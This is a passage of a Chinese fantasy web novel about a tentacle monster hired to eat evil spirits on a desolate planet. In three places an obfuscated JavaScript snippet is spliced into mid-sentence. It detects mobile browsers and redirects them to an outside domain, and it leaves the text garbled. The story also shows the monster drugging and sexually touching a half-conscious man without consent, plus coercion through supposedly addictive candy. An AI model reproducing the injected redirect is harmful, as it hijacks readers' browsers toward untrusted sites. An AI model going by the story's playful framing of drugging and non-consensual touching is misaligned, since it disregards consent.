《触手怪捡到一只落魄虫族》 1. 怪物 阴云覆盖着天空,阴冷的风侵蚀着凋敝的枯木,望不见尽头的荒芜之地压抑而死寂,干枯的杂草中零零散散地堆积着破碎的机械零件与尸体残骸。 “咕噜咕噜……”微微发黑的水在铁锅中翻滚,锅中的森白骨头与柔软的绿色胶状物随着沸水的翻涌露出水面。 〔打卡第6天,今日份午餐:番茄高汤牛骨+抹茶奶绿晶冻。〕 〔啥?这一锅恶心的玩意居然是牛骨和抹茶晶冻?〕 〔楼上在玩抽象啦,翻译一下:番茄高汤牛骨——带血的牛头形怪(疑似2级恶灵),抹茶奶绿晶冻——史莱姆怪(疑似1级恶灵)〕 〔主播的IP地址在0961-H号荒星,得罪了尊贵的雄虫阁下而被发配过去的?这脸还怪好看的,居然沦落到只能在荒星捡垃圾吃,啧~可惜啊~〕 〔本以为只有我们0918-L垃圾星出现了恶灵,旁边的荒星居然也有,真好,世界终于快要毁灭了呢~〕 〔主播刚刚是不是一口把半只胳膊那么大的骨头吞下去了?〕 〔嗯哼~亲亲~这位美食主播的口腔里有浓硫酸的呢~吃什么都是入口即化的呢~(狗头)〕 锅中的食物三下两下就被厄眠炫了个干净,锅底的火焰熄灭,空气中的热量迅速消散,直播画面随之切断。 “真他大爷的难吃。”厄眠跃到一颗枯树上,无聊地薅着干枯的树枝。 灰蒙蒙的天空忽然裂开一道黑色裂缝,厄眠扔下手中的树枝,手臂化成几根柔软湿滑的巨大粉色触手,触手向上延伸至高空,缠绕住裂缝将其合拢。 “滋滋……”从空间裂缝另一面溢出的能量将几根触手烧灼得微微蜷缩起来。 厄眠枕着柔软的触手,半阖眼眸慵懒地躺在树枝上,静静等待伤势恢复。 他忽地感知到一丝微弱的精神波动,收起触手朝精神波动出现的方向望去。 飞梭降落。 厄眠嗅到一股香甜美味的气息,顿时“咻”的一声蹦下树。 接收到飞梭散发的热量,垃圾堆中的终端发出轻微震动声。 虫族的终端手环可将热能转换为电能,在接收到火焰与飞梭散发的热量时自动开机,并续上关机之前正在进行的直播。 视角受限,透过直播间的画面只隐约能看到一点机尾。 舱门开启,厄眠对上一双漂亮的海蓝色眼眸,不过再怎么好看也不能吃,所以他的目光在下一刻就直勾勾地粘黏到眼睛主人手中的盒子上。 透明的盒子中摆放着一个巨大的草莓蛋糕,红嫩多汁的草莓在淡粉色的甜腻奶油上铺了满满一层,隔着盒子都能闻到浓郁的香甜气息。 厄眠吞咽着口水盯着雌虫手中的盒子,掌心钻出几根纤细的黑色藤蔓,迫切地想要去抢夺食物。 他立即把双手背到身后,收拢手指用力攥住即将失控的藤蔓。 雌虫把蛋糕递过去。 得到食物,藤蔓变得可控起来,厄眠收回藤蔓接住蛋糕,嗷呜一口咬住透明的塑料盒,塑料那奇怪的味道令他失落蹙眉。 可当吃到裹着香甜奶油的草莓时,银紫色的眼眸瞬间弯了起来,好吃到他简直想放出18根触手使劲挥舞。 雌虫注意到垃圾堆中的终端,随手捡了块石头砸过去,切断直播。 厄眠嘴边粘黏了不少草莓奶油与果酱,抱着蛋糕嘎嘎乱炫。 “签下这份劳务合同跟我走,不仅提供住处三餐与丰厚的工资,还能保证你每日吃到一份类似的甜点。”雌虫拿出纸笔。 厄眠瞅了眼纸张上那密密麻麻的文字,说:“看不懂。” “你只需要在这里签下你的名字。”雌虫指着合同右下方的签名栏。 “去哪?”厄眠边往嘴里炫蛋糕边看他。 “0918-L号星球,在这旁边。”雌虫回答。 “那边一天管三顿饭?还有很多这样的甜点?”厄眠抱着蛋糕问。 “当然。”雌虫语调真诚。 厄眠在合同上写下自己的姓名。 是一种雌虫看不懂的陌生文字。 “厄眠,我的名字。”厄眠把最后一点儿沾着奶油与果酱的蛋糕胚炫干净。 “塔慕斯。”雌虫朝他伸出手。 厄眠茫然地注视这只伸到面前的手掌,直到塔慕斯收回手跃上飞梭,他才啃着蛋糕最下方的塑料托盘跟过去。 * 〔0918-L星,A区,灵异调查局。〕 之前在深渊,除了中低等恶灵厄眠几乎就没怎么尝过其它食物。 来到这颗星球就完全不一样了,厄眠抱着塔慕斯在路边摊花费5个星币买的5个大白馒头啃得开心极了。 白馒头的口感软乎得很,细细品还有丝丝甜味,他的新老板塔慕斯简直是宇宙第一大好人!!! 他注意到这里的原住民后颈有一种黑色纹路,于是控制被黑发遮挡住的后颈皮肤缓慢蠕动,生成一道与塔慕斯相似的黑色纹路。 工资是2千,合约期5年,提前解除合约要支付20万的违约金。 厄眠暂时只能用大白馒头去衡量自己的工资。 工资2千,说明以后每个月可以买2000个大白馒头吃!!! 以卡将厄眠的信息录入系统,说:“身份信息不明,上面来查……” “不会有虫愿意来这个连雄虫都没有并且被恶灵污染的垃圾星。”塔慕斯看了眼厄眠。 厄眠正把一整个大馒头往嘴里塞,塞是塞进去了,却没有留够空间去咀嚼,于是就鼓着腮帮子愣在那。 这幅憨批模样让塔慕斯的良心感到些许难安,手动将“2千”的工资上调成了“2.2千”,并托关系打算为他弄个身份ID。 “年龄。”塔慕斯问。 馒头不如恶灵那样入口即化,厄眠含着大白馒头用手比划了个“19”,走到放置在角落的柜子旁,背对他们把头埋进柜子里。 嘴角裂开到耳根露出两排密密麻麻的牙齿,快速将大白馒头压平碾碎吞咽入腹。 面容恢复原状,吃完甜甜的大白馒头,厄眠心情很不错,毛茸茸的尾巴球球不受控制地冒可出来出,在衣服里雀跃地晃动着。 塔慕斯把厄眠带到地下室,阴暗的空间中关押着十多只3级恶灵。 不同于1、2级恶灵,3级恶灵的尸体不太容易处理,焚烧、土埋或者放置不管都会产生影响健康的煞气,塔慕斯只能先将尸体统一封闭起来。 厄眠尽职尽责地吞掉恶灵,随后期待无比地望向塔慕斯,几分钟后得到了两个比大白馒头还要好吃许多的红糖大馒头,开心地抖动着尾巴球。 甜点,甜的,好吃!! 塔慕斯,喜欢!!! * 一星期后,夜市。 “孜然羊肉烤串10币4串~” “芋泥牛奶冰粉6币1份~” “水果冰糖葫芦5币1串~” “……” “提醒一下,你已经预支了25天的工资。”以卡被强行拉到夜市充当工具人,两只手拎满厄眠买的各种小吃。 “大不了以后多给局长打几年工。”厄眠腰上挂着塔慕斯为他特制的员工证,边往嘴里炫着芋泥冰粉边瞅着各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736212|157327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种小吃摊,巴不得把18条触手全部放出来去抢食物。 当预支到第40天的工资时,以卡说什么都不愿意再让厄眠预支下去,厄眠只好厚着脸皮去找路人要饭,结果还真要到不少吃的。 “局长把尸体找齐了,有点碎不好带,让你过去一趟。”以卡将地址发过去。 厄眠把最后一块板栗糕塞进口中,用终端手环扫了辆共享飞行器。 他差不多适应了虫族这边的生活模式,不过暂时只认得一部分常用的虫族文字,不太熟练地在操控台上输入地址。 * 〔0918-L号星,F区。〕 阴冷的山地弥漫着一股腥臭腐朽的气息。 厄眠寻着塔慕斯的精神波动迈入洞穴深入,在洞穴尽头看到一抹熟悉的身影。 塔慕斯捏着滴血的碎肉,将最后一块尸体碎块拼凑上去。 一具丑陋狰狞的尸体完整地呈现出来。 怪物通体乌黑,头颅顶端与细长的尾巴尖端带着一点猩红色。 【好香,好香,好香……】 肉块之间的断裂口以肉眼可见的速度消失,尸体的唇部一张一合,发出尖锐嘶哑的声音。 厄眠迅速冲过去。 下一刻,“塔慕斯”转动脑袋,朝厄眠露出一张遍布黑红色纹路的面容。 “出去。”厄眠冷眼看向地上的那只灵魔。 【您主动与我说话,很荣幸。】 “现在立刻从这具身体里滚出去。”厄眠的双臂化成浅绿色胶状物,将塔慕斯的身体紧密包裹,胶状物中延伸出上千根尖锐的刺扎入骨头,并释放出能引发剧烈疼痛的毒素,试图以此让灵魔离开塔慕斯的身体。 【我很愿意,听从……您的命令,可您背叛了我们,我从不……效忠背叛者。】灵魔在强烈的痛苦下剧烈颤栗,连带着塔慕斯的面容都变得扭曲起来。 【好香,这具身体有您的气息,好香……】它那扭曲的面容中透出一股癫狂的痴迷。 “别哔哔,吵。”厄眠冷冷地踹了脚地上的躯体,将灵魔的身体踹得四分五裂。 【您憎恨我们,却不选择泯灭我,因为这个低等位面的低级生物的身体正被我掌控,因为他将会与我一同死亡!一个连恶灵都不如的低等生物凭什么能得到您的垂怜?!】 “塔慕斯”扯起一个狰狞癫狂的笑,朝厄眠昂起脆弱的脖颈。 【咬断这截脖子,咬断它!结束我的生命,杀死这个低等生物!西撒,咬断它!否则我会将您的踪迹传回深渊,让无数同族侵入此位面,直至成功将您带回去,永生禁锢于深渊之中!】 “塔慕斯”的面庞浮现大片病态的酡红,身体因极度的亢奋而止不住地颤栗。 它迫切地渴望着,渴望被信仰一生的“主”暴戾地含住脖颈送至死亡。 “噗嗤……”带刺的藤蔓穿透胸腔。 厄眠被从塔慕斯胸口喷出的血溅了一脸。 血液滚烫,黏稠,却带着一种清新好闻的甜味。 “砰,砰……”跳动的心脏撞击着藤蔓,撞击的力度随着时间流逝不断减轻、减轻、减轻…… “忍一忍,很快就过去了。”厄眠拥住塔慕斯的身体,温热的手掌轻抚对方的后脑,手指陷入柔软的头发,轻贴头皮缓缓抚摸,像在rua一只乖巧的糖果味大猫咪。 糖果。 厄眠第一次与塔慕斯距离如此之近,第一次闻到塔慕斯身上散发出的香甜信息素,香甜中掺杂着清新且微微酸涩的水果气息,像是柠檬。 “砰——” 心跳停滞,呼吸静止。 2. 封印 塔慕斯望着镜中的自己。 皮肤表层粘黏着一层薄薄的透明粘液,粘液将不知何时出现在胸口的红黑色纹路牢牢覆盖住。黑色线条倾斜着从左肩划到右边的胸膛,线条上穿了5颗红红的小圆球球,反而像一串……卡通版本的美味冰糖葫芦。 他用被粘液包裹的手掌缓缓抚过沾满粘液的皮肤,手指沿着黑色线条的顶端向下按压,贴近心脏时感受到了轻微的痛感。 昨夜的记忆很模糊,塔慕斯只记得自己在等厄眠,对于如何回到的住处没有丝毫印象,更不知胸口的糖葫芦图案与黏满全身的透明粘液,究竟是真实存在还是被煞气侵蚀后产生的幻觉。 塔慕斯穿上衣服。 布料接触不到皮肤的感觉很奇怪,理整齐衣服的那一刻,附着于手、脖颈、面部的粘液全部消失。 塔慕斯蹙眉,把翻找出的手套、口罩等物品放回原处。 “局长,早。”以卡坐在办公桌旁,手边放着一大袋包子。 “他昨晚去了?”塔慕斯问。 “应该去了,我查查。”以卡打开终端看了眼厄眠的行程记录,“去了,现在的终端定位显示在房间,大概是没找着你自己回来了。” 肉包的浓郁香味早已弥漫至整个工作室,就厄眠那吃货,按理说早该闻着味冲下来了。 “我上去看看。”塔慕斯拎起几个包子上楼,推开厄眠卧室的房门。 衣物、终端、工作牌凌乱地扔在地面,地上的衣物恰好是厄眠昨日穿的那套,上面沾着大量的血迹,血液的颜色略微发黑,似乎干涸了有段时间。 塔慕斯调出附近的监控。监控损坏,从昨晚开始,正常的监控画面就被黑白灰相交的密集小点替代。 他立即查看自己昨晚的行程,意识到自己经过每个地点的时间点与厄眠惊人的一致。 厄眠昨晚见到了他,并且与他一同回到调查局。不同的是,在返回调查局后,他们先一起去了厄眠的房间,短暂地停留几秒后他才返回自己的卧室。 昨晚发生了什么?厄眠在哪?黏在身上的东西究竟是什么? 大脑传来一阵强烈的眩晕感,塔慕斯扶着床面缓缓倒下。 附着于塔慕斯皮肤表层的透明胶状物蠕动起来,逐渐形成一个人形,冰冷黏腻的透明手掌“唰”的一下把包子拿到嘴边,哇呜哇呜地大口朝嘴里炫。 几口炫掉三个肉包子,厄眠意犹未尽地抿了抿唇,纠结片刻还是选择先黏在塔慕斯身上帮他稳固封印。 开启空间裂缝消耗了那名灵魔大量的能量,进入此位面后又受世界意识压制,迫不得己选择用自爆分裂的方式降低能量消耗。 巡警发现几块明显不属于已知物种的尸体碎块,立即联系到专门负责处理恶灵的灵异调查局。 塔慕斯身上沾着属于厄眠的气息,这点儿残存的气息帮助令灵魔恢复了些能量,它操控着塔慕斯将爆裂的身体碎块拼凑整齐,而后立即将拼凑完整的能量体到转移到塔慕斯这个不受世界意识压制的原住民身体中。 厄眠的藤蔓并未贯穿心脏,而是紧贴着心脏穿过去,在心脏附近形成一个封印,临时封锁住灵魔的意识,将身体主导权归还塔慕斯。 封印在胸口形成一道倾斜着的黑色纹路,厄眠觉得纹路不好看,于是主动在黑色线条上添加了5颗红红的小圆球球,把它变成一串可爱美味的冰糖葫芦。 塔慕斯被附身的主要原因是与厄眠接触时间过长,沾染上了厄眠的气息。 对此,厄眠还是挺愧疚的,不过再愧疚也不妨碍他耍流氓占便宜。 没办法,塔慕斯身上的信息素简直太香甜了,与柠檬布丁一样美味,而且这个柠檬布丁还超级超级大,能无限量地散发香甜气息。 厄眠紧紧附着在塔慕斯皮肤上,却也不敢太过猖狂,只时不时轻轻蠕动那么几下,像舔舐一颗巨大的糖果那样,贪婪而小心地汲取着皮肤表层散发出的清甜气息。 不够,不够…… 他不满足于皮肤表层的这点儿信息素,急躁地想做一些更加危险放肆的事,以品尝到更加浓郁甜腻的气息。 比如用尖锐密集的小尖齿或者倒刺的弄破皮肤,然后随心所欲地吸吮血液。 粉色的触手尖尖沿着塔慕斯的侧脸缓缓下滑,最终轻轻搭在柔韧的后腰,触手尖端吐出两颗小小的尖齿,尖齿将皮肤咬出两道可爱的小牙印,鲜红的血沿着小尖齿滑下去,正好落进一个圆润润的吸盘里。 血液中蕴含的浓郁柠檬糖信息素令厄眠无比痴迷,收紧了缠绕在塔慕斯身上的触手,紧紧护住这个可以无限提供甜味的巨大柠檬糖。 * “昨晚发生了什么?”面对塔慕斯的质问,厄眠果断选择装傻,“我就记得下飞行器后走了几步,然后再睁开眼就在房间了。” 回忆起那香甜浓郁的柠檬糖味,厄眠无法抑制地吞咽了一口口水,移开话题:“什么时候吃饭?” “一会。”塔慕斯收回探究的视线。 今日份甜点是两个红糖馒头和几颗水果糖,食物在发到手的那一刻就被厄眠炫进了肚子,他的肚子就是个填不满的无底洞,这点儿东西压根就不够吃。 厄眠一直记着新任上司的话,遵纪守法,爱护环境、有礼貌、不欺负人、不偷不抢。 可他实在馋的不行,所以便在自己所理解的“遵纪守法”的范围内,计划着半夜偷偷从塔慕斯的卧室门缝钻进去,然后贴上去浅浅地尝个味解解馋。 卧室的灯关着,床头的终端散发出白色光晕,塔慕斯还未睡,在虚拟屏幕上打字记录着什么。 黑色粘液从房门与地板之间的缝隙中缓缓挤入,沿着卧室深色的踢脚线蠕动到床的一侧。 浅蓝色床单垂到地面,柔软的床单浸染上独属于塔慕斯的柠檬糖信息素,又香又甜。粘液伸出几根尖尖的小触手小心翼翼地扯住床单,开心地嗅着留存于床单上的清甜气息。 这一点儿甜味当然无法满足厄眠,不过也不敢再做些什么,捏着床单焦躁地等待塔慕斯入睡,然后就可以用粘液化成的小触手悄悄去摸对方的手。 等的有些无聊,厄眠沿着墙壁缓慢向上攀爬,想瞅瞅这位上司在忙什么,一眼就在文件上瞥见了自己的名字。 虫族的文字他只认识一些比较常用的,所以这份文件只能看懂一小部分。 大概就是记录他每天吃了什么做了什么,身体状态如何,文字密密麻麻的,似乎记录得很详细。 他们局长还怪辛苦的咧,白天黑夜地往出现恶灵的地方跑,下班又得熬夜记录员工的身体健康情况。 厄眠忽然为自己一整天啥都不干尽等着吃,还预支了40天工资买小吃的行为感到一点儿愧疚。不过愧疚与继续想办法预支工资炫小吃是两件事,不会因为愧疚就亏待自己的嘴和胃。 待塔慕斯熟睡,黑色粘液悄悄钻入温暖的被窝,轻轻触碰到塔慕斯温热的掌心,紧接着释放出微量的可麻痹神经的毒素,防止对方被弄醒。 塔慕斯是体质强大的S级雌虫,这点儿毒素对他而言不到一小时就能代谢干净,不会产生什么危害。 厄眠是只没有固定形态的怪物,与那些恶灵来自同一个位面。恶灵是深渊中最低等的生物,能进化出高阶意识的恶灵少之又少。 或许在虫族的认知中,厄眠本质上与这颗星球上那些残害雌虫的恶心恶灵没什么区别。 他只有一个大概的善恶观,愿意凭心情听从塔慕斯的指令“遵纪守法”,却没有完善的道德观念,无法意识到自己现在的行为属于“猥亵”。 黑色粘液在床边形成一个模糊的人形轮廓,轮廓的背部延伸出的滑腻粉色触手紧紧缠绕住塔慕斯的胳膊,湿软的粘液将一整只手掌牢牢包裹,疯狂汲取从皮肤深处渗透出来的信息素。 香甜的柠檬糖气息令他无比愉悦,头部冒出一对黑色的毛茸茸耳朵,耳朵随着吸盘的蠕动不断抖动。 一个贪婪且阴暗的念头从心底滋生。 把这颗美味的柠檬味糖果藏起来,囚禁在一个仅有自己知道的地方不让任何人触碰,日夜吮.吸…… * 厄眠心情不错,天刚蒙蒙亮就从楼上下来,主动打扫起工作室的卫生。 扫地、拖地、浇灌绿植,还顺手摘了一片绿植的叶子塞进嘴里,嚼了嚼觉得味道不错,于是又薅了一片。 扫把的把手无意间碰撞到塔慕斯办公桌的抽屉,抽屉并未关严实,被扫把碰的向外滑出一小截。 厄眠记得塔慕斯的办公桌抽屉平时都处于上锁状态,每次打开抽屉都要按一下指纹,整天搞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736213|157327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得神神秘秘的,昨晚居然会忘了合上。 透过半开的抽屉,他瞥见一个黑色封面的笔记本,笔记本下方压着一张图片,图片只露出来一半,厄眠一眼就认出图片上的物体。 他伸手去摸挂在腰间的员工证,与员工证系在一块的是一个拇指大小的长条形黑色挂件。 塔慕斯把员工证交给他时,这个小挂件就与证件拴在一块,对方还反复强调了两次要时刻把员工证戴在身上。 以卡的员工证旁也系着一个黑不溜秋的小乌龟挂件。所以即使厄眠知道这个长条形小挂件是件能够吸引恶灵储存煞气的器具,也并未多想,只当塔慕斯对此毫不知情,只是单纯地想给新入职的员工送一件小礼物。 厄眠拿出笔记本翻看起来,他认识的虫族文字不多,一句句地去猜测意思明显要浪费不少时间,好在手写的字迹清秀整洁,用终端扫描一下就能转成语音。 这个挂件在厄眠之前有过两任主人,第一任主人在捡到挂件的第3天被恶灵活生生地啃死。 第二任主人则是塔慕斯,塔慕斯明知这个危险的物品可能会致死,依然将此物戴到自己身上,以身为饵吸引恶灵积攒煞气。 直到在直播上见到能口吞恶灵且不受煞气侵蚀的他,才去荒星把他这个更适合做器具主人的工具人带了过来,将全部危险转移到他身上。 草莓蛋糕、糖果、红糖馒头……这些都是塔慕斯用来控制他的工具。包括记录身体状态,或许也仅是为了赶在他被煞气侵蚀致死之前及时找到下一个工具人。 在深渊之中,煞气只有两种用途,一是增强自身能量,二是害人。塔慕斯不是深渊生物,第一种对他无效。 害人?不像。 据厄眠了解,塔慕斯曾是名保家卫国的强大军雌,离开军部后又守着这颗偏远的垃圾星,尽职尽责地铲除恶灵。 “这个挂件我戴过差不多半月,受到了一些影响,记忆力减退并偶尔出现幻觉。”塔慕斯的声音从楼梯口传来,“把这些事记录下来就是为了防止遗忘。” 厄眠捧着笔记本看过去。 “收集煞气是为了防止这里的居民受到侵蚀,过段时间我会把你身上的东西扔到荒星。”塔慕斯从口袋抓出一把糖果递给他。 恶灵的味道很奇怪,每次厄眠炫完恶灵,塔慕斯都会递给他一把甜甜的糖果。 “比起你的目的,我更在意你是否知道这个东西可能会令我死亡。”厄眠边往嘴里塞糖果边看他。 塔慕斯忽地轻笑出声,平淡的瞳仁中带着浅浅的轻蔑与冷情:“身份不明的异族而已,死就死了,死了再找下一个。” 厄眠咀嚼糖果的动作顿住,安静地凝视他。 “好吃?里面添加了一种成瘾性极强的药物,戒断超过七天就会死亡。”塔慕斯抽走他手中的笔记本,“安分地在这待着,嘴巴严实点,我可以当今天的事没发生过。” “塔慕斯!我操-你大爷的糖葫芦球!你个死骗子!”厄眠把手中的糖果全部砸到他脸上。 “这意思是谈崩了?”塔慕斯扼住他的脖颈,将他从地面缓缓提起,上扬脖颈淡漠地直视他的眼睛,“你似乎不太了解自己现在的处境,一个冒充雌虫混入虫族的异族通缉犯。” “对了,虫族排外,潜入虫族的异族一律会被判处死刑,至于死法……”塔慕斯嘴角上扬出一个冰冷而危险的弧度,加重了扼着脖颈的力度,残忍地吐出一个个可怖的词汇,“凌迟,剥皮,腰斩,抽肠……” 厄眠被扼着脖颈悬在半空,从喉咙中挤出沙哑的话:“放开我。” 他垂在腿侧的双拳紧紧攥着,指甲深深掐入掌心流淌出殷红的血,借着疼痛的刺激艰难地维持理智。 带着尖刺的黑色藤蔓从皮肤钻出,试图刺破衣服,用尖锐的长刺将面前这名满口谎言的恶毒雌虫狠狠地贯.穿撕烂。 厄眠本身就是只怪物,一只狰狞扭曲没有固定形态的怪物,即使披上精致的人皮,用后天形成的认知去自我改善,也难以彻底清除掉暴虐残忍的本性。 银紫色的瞳仁漫上一层诡异的猩红,厄眠用力合上充血发红的眼睛,身子无法控制地颤动着,几乎要压抑不住那凶猛翻涌的暴戾杀意。 杀死他! 杀死他! 杀死他! 3. 食物 掐着脖子的手缓缓松开,厄眠寻回理智,手掌撑着桌面背对塔慕斯,将头垂得很低,以免对方看到他面部还未完全消散的诡异纹路。 “咔嚓”一声脆响,厄眠的脖子被一个冰冷坚硬的东西扣住。 好不容易稳定一些的情绪“轰”的一下炸开,刚缩回身体的黑色藤蔓重新钻出来,在冲破衣服之前被厄眠操控着收了回去。 冷静,冷静…… 蛋糕、糖果、冰淇凌。 炸串、烧烤、煎鱿鱼。 不气,不气,哥一点儿都不气! 厄眠很清楚,在这个充满美食的位面,身份ID与金钱是必需物。一旦离开塔慕斯,塔慕斯这货必定会收回他的身份ID让他成为一名通缉犯,到时候可就无法再逛小吃街了。 可他就是气,气的巴不得现在就把塔慕斯这货狠狠揍一顿。 啊啊啊!可恶啊可恶!忍无可忍忍无可忍!!! “塔慕斯!”厄眠咬牙切齿地喊了对方一声,自以为狮子大开口地说,“哥要封口费,月工资至少涨到3000!” “3000?不可能,认清你现在的处境。”塔慕斯淡淡说。 “认清个屁!信不信哥用一根头发丝都能把你脑壳拧掉?”厄眠气的抓狂,可这个提供身份ID与金钱的黑心老板又不能揍,只好烦闷地抓着自己的头发不断揉搓。 塔慕斯低头摆弄终端,看都没看他一眼,片刻后才语气平缓地“嗯”了一声。 “嗯个屁!”厄眠伸手遮挡住终端屏幕,提高声音说,“哥要加工资。” “哥?十多岁的小屁孩也自称哥?”塔慕斯声音戏谑。 “今天都起这么早?”以卡端着泡好的热咖啡从楼上下来,“局长31,比你多活12年,要叫也是你叫他哥。” 厄眠以迅雷不及掩耳之势夺走以卡手中的咖啡,也不嫌烫,“咕咚”一口全部咽下去。 他非要跟塔慕斯对着干,于是冲对方喊了声:“叔。” 塔慕斯滑动屏幕的手指顿住,抬头看他:“听话些,2400,以后午饭再多给你加一个红糖馒头。” 2400!工资涨了整整200!而且每天还能多吃一个红糖馒头!!! “哥!”嘴的动作快过脑子,非常没出息,那边刚叫出口厄眠这边就后悔了,立即加大筹码,“不够,还要再加顿下午茶和宵夜,下午茶必须要有草莓蛋糕和柠檬布丁,宵夜必不可少鱿鱼串和小龙虾。” 塔慕斯“啧”了声,说:“看心情。” 厄眠用咖啡杯敲打桌面:“都顺着你的意思喊你哥了!你还跟哥在这儿看心情!看你个大头麻辣串串的心情!” 等厄眠敲够了,以卡才看向塔慕斯,问:“知道了?” 塔慕斯:“嗯。” 厄眠的气“蹭”的一下又又又窜上去了。 好好好,本来还以为同为员工的以卡也不知情,结果说了半天这俩货是一同个锅里的臭豆腐。 好好好,好得很!好的他下一秒就能打爆塔慕斯的脑壳! 等着,哥今晚吸干你! * 入夜。 巨大的粉色触手占据满整间卧室,触手表面的嫩粉色吸盘紧紧贴着塔慕斯的胸膛,用巨大的吸力将他悬挂到半空。 这次厄眠刻意更换了毒素种类,恰好能让塔慕斯处于半昏迷状态,能清晰地感受到皮肤传来的滑腻湿黏的触感,却无法操控身体对外界做出丝毫反应。 柔软的触手不断蠕动,贪婪地索取着雌虫散发出的柠檬糖味信息素。 ——幻觉、记忆力减退。 这两点便是恶灵的煞气为塔慕斯造成的影响。 他已经记不清这次第多少次产生幻觉了。 这次的幻觉比以往更加真实可怖,甚至还带着一点儿难以启齿的……暧.昧。 有什么东西在抚摸他的身体,触感湿滑而柔软,很冰,像是章鱼的触手。 即使无法睁开双眼,他也能清晰地感受到“章鱼”那黏腻而贪婪的视线。 他无法移动身体,捕食者也无法欣赏到猎物绝望挣扎的模样。 胸口处的皮肤被柔软冰冷的物体粗暴地吸扯着,或许是“章鱼”的吸盘……大概他的皮肤上会留下许多道圆形的深红色痕迹。 或许是太过无聊,塔慕斯才会冒出这些幼稚可笑的猜想。 幻觉而已,明早醒来一切都会结束。 * 上百只体态狰狞的低级恶灵蠕动着身躯,啃食一切能接触到的生物。 0918-L星首次出现恶灵集聚现象,集聚地点在一个位于郊区的破旧小区。 小区废弃已久,只有一些流浪的猫狗,猫狗干瘦的身体被恶灵撕扯吞噬,喉咙中挤出尖锐刺耳的惨叫。 恶灵朝大门蠕动起黏腻恶心的躯体,口中发出嘶哑怪异的叫声。 忽地感应到什么,恶灵蠕动中的身躯猛地僵住,黏腻的胶状身体在极度的恐惧下颤抖出残影,飞速调头,推搡着争先恐后地往建筑物里躲。 厄眠含着棒棒糖一脚踹开破旧的大门,淡淡扫了眼那群狼狈逃跑的恶灵,侧过身子倚靠到门的一侧,双臂环抱一动不动地杵在那儿。 他的工作任务仅仅只是吃,其他多余的事儿一律不干。 他嗦着棒棒糖,淡漠地看着塔慕斯和以卡冲进恶灵群,一个主攻一个打辅助,不过片刻两人身上就溅满从恶灵体内喷出的浓稠液体。 等塔慕斯解决完恶灵叫他,他才抬脚踩着遍地的尸体慢悠悠地走过去,捡起地上的恶灵尸体塞进嘴里。 恶灵是深渊生物最主要的食物,厄眠早吃惯了,连眉头都没皱一下,很快就完成了今日份的工作,然后走到塔慕斯面前伸手索要工作完成后的小报酬。 塔慕斯从口袋抓出一把糖果递过去。 厄眠气的牙痒痒。 又是这种加了药的糖果! 吃!反正吃不死,他一只带毒的怪物,还能压制不了那点儿药性? 自从被厄眠发现真实目的,塔慕斯直接就不装了,撕破伪装露出恶劣的本性,平日里天□□厄眠黑着一张脸就算了,还时不时抱怨厄眠太能吃,就连之前“看心情”承诺的柠檬布丁、草莓蛋糕、麻辣小龙虾、烤鱿鱼等也是一次没给厄眠买过。 所以当塔慕斯冷着脸使唤厄眠一个个房间地去寻找残存的恶灵时,厄眠的暴脾气一下就上来了。 他用力踹了脚墙,将墙面的粉末踹掉厚厚的一层,说:“天天黑着张脸摆给谁看呢?你个黑心豆芽菜!别让哥逮着机会,否则非把你那豆芽菜剪掉!” “豆芽菜?”塔慕斯垂眸看向他小腹,“比比?” “不比。”厄眠当然无比清楚塔慕斯那豆芽菜的尺寸,尺寸与他相比差多了。不想比是因为他有倒刺,倒刺带着一点儿淡淡的粉色,有些像猫的舌头,露出来肯定要被那货嘲笑像只柔软娇弱的小猫咪。 “哦——”塔慕斯故意拉长声音,扬起一个“我懂”的恶劣笑容。 厄眠气的巴不得把他头发薅秃,冷冷骂了句:“傻叉。” 然后厄眠还是被奴役着进入小区楼,一个房间一个房间地查看。总共五栋楼,每栋楼仅有四五层,厄眠只分到一栋,绝对不是因为塔慕斯照顾他怕他累着,而是因为觉得他不靠谱,才只给他安排最少的工作量。 厄眠当然清楚这片区域有无残存的恶灵,进入居住楼后随便找个房间躺着,等口中的巨大棒棒糖融化,才慵懒地动身去地下车库。 塔慕斯先一步拿取走了厄眠要找的东西,是一个红色的方形盒子。 厄眠烦躁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736214|157327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地“啧”了声,转身就走。 入夜。 红色方盒中挤出一滩冰凉的红色粘液,粘液聚集成一只巨大的水母形恶灵,细软的触手缓缓攀爬向塔慕斯的身体。 【好香……好香……】 【啊啊!痛,痛……】 在红色粘液触碰到塔慕斯的身体之前,厄眠扯住它的身子,强硬地将它塞回方盒,抬脚将红盒子踩得粉碎。 他用温热的手指攥住塔慕斯的脖颈,柔软密集的嫩粉色吸盘从手掌钻出,轻轻吸.吮着散发出柠檬香甜的皮肤。 